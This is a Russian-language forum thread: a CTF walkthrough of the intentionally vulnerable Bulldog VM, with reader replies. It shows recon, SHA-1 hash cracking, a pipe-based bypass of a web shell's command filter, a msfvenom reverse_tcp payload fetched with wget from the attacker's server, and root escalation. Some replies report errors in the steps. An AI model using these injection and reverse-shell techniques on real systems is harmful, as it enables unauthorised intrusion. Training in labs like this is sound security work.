ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   CTF: Hack The Bulldog VM (https://forum.antichat.xyz/showthread.php?t=1623503)

Vander 31.05.2018 00:48

Привет, Antichat! В этот раз я предлагаю рассмотреть методы решения, в рамках CTF, уязвимой VM Bulldog (Boot2Root Challenge)

https://forum.antichat.xyz/attachmen...7712377067.png

Скачиваем Bulldog тут

Атакующая ОС: Kali Linux 2018.2

Импортируем и запускаем (при запуске, VM сообщает, какой адрес получила по DHCP) затем ищем, где запущен web сервер у VM:

https://forum.antichat.xyz/attachmen...7712421288.png

Код:


Код:

nmap –sV –A 192.168.0.110
https://forum.antichat.xyz/attachmen...7712445012.png

Переходим на webBulldog:

https://forum.antichat.xyz/attachmen...7712462738.png

Тут, ничего, заслуживающего внимания я не нашел, подключаем nikto для более подробного анализа сервера:

Код:


Код:

nikto –h 192.168.0.110
https://forum.antichat.xyz/attachmen...7712489880.png

Niktoнашел интересную директорию, зайдем осмотреться:

https://forum.antichat.xyz/attachmen...7712509386.png

Тут интересен вход в Web Shell, но он доступен аутентифицированным пользователям:

https://forum.antichat.xyz/attachmen...7712530846.png

И список, тех, с кем можно на эту тему поговорить, этим мы заниматься не будем, а заглянем в исходный код страницы:

https://forum.antichat.xyz/attachmen...7712542041.png

Отлично, это похоже на хэши паролей, проверим тип одного из этих хэшей:

Код:


Код:

hash-identifier
https://forum.antichat.xyz/attachmen...7712570613.png

Скорее всего, тип хэша SHA – 1. Приступим к его декодированию, для этого используем john с дефолтными настройками:

Код:


Код:

john /root/123.txt (тут хэш пароля) –format=RAW-SHA1
https://forum.antichat.xyz/attachmen...7712651831.png

Имеем в наличии учётные данные пользователя Ник:
  • nick
  • bulldog
Используем их для аутентификации на сервере:

Код:


Код:

http://192.168.0.110/admin
https://forum.antichat.xyz/attachmen...7712688761.png

После успешной авторизации, можно перейти в Web Shell:

Код:


Код:

http://192.168.0.110/dev/shell/
https://forum.antichat.xyz/attachmen...7712722716.png

Шелл настроен таким образом, что выполняются только те команды, список которых нам предоставили. При осмотре были обнаружены интересные моменты, но мы пойдем несколько иным путём.

Итак, для выполнения имеем ограниченный список команд и подсказку, что команды выполняются непосредственно на сервере, от имени пользователя и скорее всего, это не Ник, а jango т.к. он там установлен.

Этих команд достаточно, да и одной вполне, чтобы сделать так…
  • | - конвейер. Передает вывод предыдущей команды на ввод следующей или на вход командного интерпретатора shell. Этот метод часто используется для связывания последовательности команд в единую цепочку.
Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).

Полагаю, что будет дальше понятно.

Если мы выполним команду:

Код:


Код:

whoami
https://forum.antichat.xyz/attachmen...7712763275.png

Результат не радужный, но если сделаем:

Код:


Код:

pwd | whoami
https://forum.antichat.xyz/attachmen...7712795674.png

Теперь, все отрабатывает должным образом.

Чтобы избавиться от этого шелла «курильщика» и обзавестись более функциональным, необходимо загрузить полезную нагрузку на сервер, думаю, wget вполне подойдет для этих целей.

Берем FatRat или Msfvenom для генерации полезной нагрузки в формате python(это обязательный момент, т.к. это Django)

Код:


Код:

msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.1.110 lport=4444 > /var/www/html/sh.py
Убеждаемся, что на атакующей машине поднят Apache, туда и копируем shell скрипт, чтобы потом, используя wget на Web Shell, загрузить его с нашего сервера и затем запустить, инициируя сессию meterpreter.

https://forum.antichat.xyz/attachmen...7712862829.png

Настраиваем handler:

https://forum.antichat.xyz/attachmen...7712875919.png

Этап загрузки shellскрипта:

Код:


Код:

pwd | wget http://192.168.0.101:88/sh.py
https://forum.antichat.xyz/attachmen...7712917044.png

Убеждаемся, что загрузка прошла успешно:

Код:


Код:

ls -a
https://forum.antichat.xyz/attachmen...7712945532.png

Даем права скрипту на запуск:

Код:


Код:

pwd | chmod 777 sh.py
Запускаем скрипт:

Код:


Код:

python sh.py
https://forum.antichat.xyz/attachmen...7712998516.png

Результат предсказуем:

https://forum.antichat.xyz/attachmen...7713010294.png

Используем команду:

Код:


Код:

shell
Затем импортируем bashоболочку:

Код:


Код:

python -c 'import pty;pty.spawn("/bin/bash")'
https://forum.antichat.xyz/attachmen...7713061873.png

Переходим в директорию /home/bulldogadmin и смотрим на ее содержимое:

Код:


Код:

ls –a
Обнаружив скрытую директорию, переходим в нее:

Код:


Код:

cd .hiddenadmindirectory
ls –a

https://forum.antichat.xyz/attachmen...7713117975.png

Приложение, которое мы там обнаружили, позволит нам в дальнейшем получить root права в системе. Для начала можно посмотреть, что там внутри.

strings — unix-утилита, применяемая для поиска печатаемых строк в двоичных файлах. Она выводит последовательности печатаемых символов, обнаруженных в заданном файле. Может использоваться для визуального анализа дамп-файлов (core dump) или для отыскания информации о типе файла.

Код:


Код:

strings customPermissionApp
https://forum.antichat.xyz/attachmen...7713158745.png

Выделенное мной, напоминает пароль, при запуске этого приложения оно запрашивает пароль пользователя, но мы попробуем этот в качестве универсального.

Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:

Код:


Код:

cd /home/jango/bulldog
./customPermissionApp

https://forum.antichat.xyz/attachmen...7713188465.png

Теперь, мы root, зайдем в свою домашнюю директорию и прочитаем файл:

Код:


Код:

cd
cat congrats.txt

https://forum.antichat.xyz/attachmen...7713218191.png

На этом прохождение Bulldog VM можно считать завершенным.

Спасибо за внимание.

Qmakake 12.06.2018 23:29

Классные статьи, с нетерпением жду новых, с наслалждением повторяю, то, что вы описали!
Хотелось бы задать пару вопросов: как вы отпределили, что из списак пользователей с хэшами нужно брать nik? как вы ищите директорию, в котороый у вас есть права на запись?

Qmakake 13.06.2018 00:12

извиняюсь, поторопился, про nik понял: john пароль только от nik-a нашел))

Qmakake 13.06.2018 01:09

Цитата:


Rey Zeelmyw сказал(а):

Как всегда на высоте)


Ищущий да обрящет))

Vander 13.06.2018 10:34

Цитата:


Qmakake сказал(а):

как вы ищите директорию, в котороый у вас есть права на запись?


Загляните сюда - [Шпаргалка] Разведка и аудит сервера

id2746 23.09.2018 21:49

Цитата:


Qmakake сказал(а):

извиняюсь, поторопился, про nik понял: john пароль только от nik-a нашел))


неа, еще восстанавливается пассворд от sarah (см.второй), но сути это не меняет:

https://forum.antichat.xyz/attachmen...e28309be45.png

https://forum.antichat.xyz/attachmen...f46f7c6e51.png

Цитата:


Vander сказал(а):

Конвейеры (еще их называют каналами) - это классический способ взаимодействия процессов, с помощью которого stdout одного процесса перенаправляется на stdin другого. Обычно используется совместно с командами вывода, такими как cat или echo, от которых поток данных поступает в "фильтр" (команда, которая на входе получает данные, преобразует их и обрабатывает).


вот за это отдельное спасибо )

id2746 22.10.2018 22:02

Кстати, благодаря контейнерам, сегодня взял флаг юзера одной из машин на htb

id2746 22.10.2018 23:02

Цитата:


n01n02h сказал(а):

какую тачку? Самые норм контейнеры на тачке Reddish


Bounty

pp11 28.08.2019 20:41

Мне удалось также крякнуть хэш sarah. Его пароль: bulldoglover.
Цитата:


Vander сказал(а):

Для этого переходим в свою директорию, где мы можем запускать файлы, и это приложение в том числе:
cd /home/jango/bulldog
./customPermissionApp


Не можем мы его выполнить. Permission denied
Не знаю как вы его открыли, но скопировав в директорию /home/django/bulldog # Почему ты вы на протяжении всей статьи забываете написать букву d
Там его открыть не получается.

Rook 13.01.2020 01:49

у меня ctf зависает когда пытаюсь скачать веном, а после обновления страницы, оно числется в ls , но при запуске скрипта, пишется server error


Время: 01:51